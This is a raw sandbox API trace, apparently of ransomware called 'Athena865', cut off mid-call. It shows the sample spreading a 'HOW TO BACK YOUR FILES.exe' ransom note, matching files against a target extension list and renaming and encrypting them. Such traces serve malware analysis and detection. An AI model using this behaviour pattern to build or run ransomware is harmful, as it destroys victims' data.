[0096.375] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.375] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x17c [0096.377] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0096.379] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.379] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.379] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.379] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.380] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.380] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.380] CloseHandle (hObject=0x17c) returned 1 [0096.380] CloseHandle (hObject=0x154) returned 1 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.380] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.380] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0096.380] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.381] ReleaseMutex (hMutex=0xec) returned 1 [0096.381] CloseHandle (hObject=0xec) returned 1 [0096.381] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Icons" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned="C:\\Program Files (x86)\\Windows Media Player\\Icons" [0096.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52e580 | out: hHeap=0x4f0000) returned 1 [0096.381] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9d0 | out: hHeap=0x4f0000) returned 1 [0096.381] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned 49 [0096.381] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\CF6A54106C2BD8319E91DA21F10C8A7A") returned 0xec [0096.381] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.381] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Icons" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Icons") returned="C:\\Program Files (x86)\\Windows Media Player\\Icons" [0096.381] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.381] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\icons\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\icons\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.382] GetLastError () returned 0x2 [0096.382] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.382] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.382] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.382] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.382] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.382] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.382] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.382] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.382] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.382] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0096.383] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.383] ReleaseMutex (hMutex=0xec) returned 1 [0096.383] CloseHandle (hObject=0xec) returned 1 [0096.383] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0096.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x501da8 | out: hHeap=0x4f0000) returned 1 [0096.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9a0 | out: hHeap=0x4f0000) returned 1 [0096.383] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned 58 [0096.383] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\89D9F74F6C1BE0411CEE7E998821F04D") returned 0xec [0096.383] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.383] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" | out: lpString1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer") returned="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer" [0096.383] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.383] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.384] GetLastError () returned 0x0 [0096.384] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.384] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.385] CloseHandle (hObject=0xf4) returned 1 [0096.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.385] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3a3a0e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3a3a0e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.385] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.385] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.385] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.385] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc3a3a0e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3a3a0e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.385] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.385] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.385] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.385] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.385] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x55587e5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x4d82, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="avtransport.xml", cAlternateFileName="")) returned 1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2=".") returned 1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="..") returned 1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="windows") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="bootmgr") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="temp") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="pagefile.sys") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="boot") returned -1 [0096.385] lstrcmpiW (lpString1="avtransport.xml", lpString2="ids.txt") returned -1 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2="ntuser.dat") returned -1 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2="perflogs") returned -1 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2="MSBuild") returned -1 [0096.386] lstrlenW (lpString="avtransport.xml") returned 15 [0096.386] lstrcpyW (in: lpString1=0x241e8be, lpString2="avtransport.xml" | out: lpString1="avtransport.xml") returned="avtransport.xml" [0096.386] lstrlenW (lpString="avtransport.xml") returned 15 [0096.386] lstrlenW (lpString="Athena865") returned 9 [0096.386] lstrcmpiW (lpString1="sport.xml", lpString2="Athena865") returned 1 [0096.386] lstrlenW (lpString=".dll") returned 4 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2=".dll") returned 1 [0096.386] lstrlenW (lpString=".lnk") returned 4 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2=".lnk") returned 1 [0096.386] lstrlenW (lpString=".ini") returned 4 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2=".ini") returned 1 [0096.386] lstrlenW (lpString=".sys") returned 4 [0096.386] lstrcmpiW (lpString1="avtransport.xml", lpString2=".sys") returned 1 [0096.386] lstrlenW (lpString="avtransport.xml") returned 15 [0096.386] lstrlenW (lpString="bak") returned 3 [0096.386] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0096.386] lstrlenW (lpString="ba_") returned 3 [0096.386] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0096.386] lstrlenW (lpString="dbb") returned 3 [0096.386] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0096.386] lstrlenW (lpString="vmdk") returned 4 [0096.386] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0096.386] lstrlenW (lpString="rar") returned 3 [0096.386] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0096.386] lstrlenW (lpString="zip") returned 3 [0096.386] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0096.386] lstrlenW (lpString="tgz") returned 3 [0096.386] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0096.386] lstrlenW (lpString="vbox") returned 4 [0096.387] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0096.387] lstrlenW (lpString="vdi") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0096.387] lstrlenW (lpString="vhd") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0096.387] lstrlenW (lpString="vhdx") returned 4 [0096.387] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0096.387] lstrlenW (lpString="avhd") returned 4 [0096.387] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0096.387] lstrlenW (lpString="db") returned 2 [0096.387] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0096.387] lstrlenW (lpString="db2") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0096.387] lstrlenW (lpString="db3") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0096.387] lstrlenW (lpString="dbf") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0096.387] lstrlenW (lpString="mdf") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0096.387] lstrlenW (lpString="mdb") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0096.387] lstrlenW (lpString="sql") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0096.387] lstrlenW (lpString="sqlite") returned 6 [0096.387] lstrcmpiW (lpString1="rt.xml", lpString2="sqlite") returned -1 [0096.387] lstrlenW (lpString="sqlite3") returned 7 [0096.387] lstrcmpiW (lpString1="ort.xml", lpString2="sqlite3") returned -1 [0096.387] lstrlenW (lpString="sqlitedb") returned 8 [0096.387] lstrcmpiW (lpString1="port.xml", lpString2="sqlitedb") returned -1 [0096.387] lstrlenW (lpString="xml") returned 3 [0096.387] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0096.387] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml.Athena865") returned 84 [0096.388] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml.athena865"), dwFlags=0x1) returned 1 [0096.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\avtransport.xml.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\avtransport.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.388] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19842) returned 1 [0096.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.389] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.389] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.389] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.389] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.390] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5090, lpName=0x0) returned 0x17c [0096.391] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5090) returned 0x100000 [0096.393] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.394] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.394] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.396] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.396] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.397] CloseHandle (hObject=0x17c) returned 1 [0096.397] CloseHandle (hObject=0x154) returned 1 [0096.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.397] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e33732, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e33732, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x555d411c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="connectionmanager_dmr.xml", cAlternateFileName="")) returned 1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".") returned 1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="..") returned 1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="windows") returned -1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="bootmgr") returned 1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="temp") returned -1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="pagefile.sys") returned -1 [0096.397] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="boot") returned 1 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ids.txt") returned -1 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="ntuser.dat") returned -1 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="perflogs") returned -1 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2="MSBuild") returned -1 [0096.398] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0096.398] lstrcpyW (in: lpString1=0x241e8be, lpString2="connectionmanager_dmr.xml" | out: lpString1="connectionmanager_dmr.xml") returned="connectionmanager_dmr.xml" [0096.398] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0096.398] lstrlenW (lpString="Athena865") returned 9 [0096.398] lstrcmpiW (lpString1="r_dmr.xml", lpString2="Athena865") returned 1 [0096.398] lstrlenW (lpString=".dll") returned 4 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".dll") returned 1 [0096.398] lstrlenW (lpString=".lnk") returned 4 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".lnk") returned 1 [0096.398] lstrlenW (lpString=".ini") returned 4 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".ini") returned 1 [0096.398] lstrlenW (lpString=".sys") returned 4 [0096.398] lstrcmpiW (lpString1="connectionmanager_dmr.xml", lpString2=".sys") returned 1 [0096.398] lstrlenW (lpString="connectionmanager_dmr.xml") returned 25 [0096.398] lstrlenW (lpString="bak") returned 3 [0096.398] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0096.398] lstrlenW (lpString="ba_") returned 3 [0096.398] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0096.398] lstrlenW (lpString="dbb") returned 3 [0096.398] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0096.398] lstrlenW (lpString="vmdk") returned 4 [0096.398] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0096.398] lstrlenW (lpString="rar") returned 3 [0096.398] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0096.398] lstrlenW (lpString="zip") returned 3 [0096.398] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0096.398] lstrlenW (lpString="tgz") returned 3 [0096.398] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0096.399] lstrlenW (lpString="vbox") returned 4 [0096.399] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0096.399] lstrlenW (lpString="vdi") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0096.399] lstrlenW (lpString="vhd") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0096.399] lstrlenW (lpString="vhdx") returned 4 [0096.399] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0096.399] lstrlenW (lpString="avhd") returned 4 [0096.399] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0096.399] lstrlenW (lpString="db") returned 2 [0096.399] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0096.399] lstrlenW (lpString="db2") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0096.399] lstrlenW (lpString="db3") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0096.399] lstrlenW (lpString="dbf") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0096.399] lstrlenW (lpString="mdf") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0096.399] lstrlenW (lpString="mdb") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0096.399] lstrlenW (lpString="sql") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0096.399] lstrlenW (lpString="sqlite") returned 6 [0096.399] lstrcmpiW (lpString1="mr.xml", lpString2="sqlite") returned -1 [0096.399] lstrlenW (lpString="sqlite3") returned 7 [0096.399] lstrcmpiW (lpString1="dmr.xml", lpString2="sqlite3") returned -1 [0096.399] lstrlenW (lpString="sqlitedb") returned 8 [0096.399] lstrcmpiW (lpString1="_dmr.xml", lpString2="sqlitedb") returned -1 [0096.399] lstrlenW (lpString="xml") returned 3 [0096.399] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0096.400] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Athena865") returned 94 [0096.400] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files 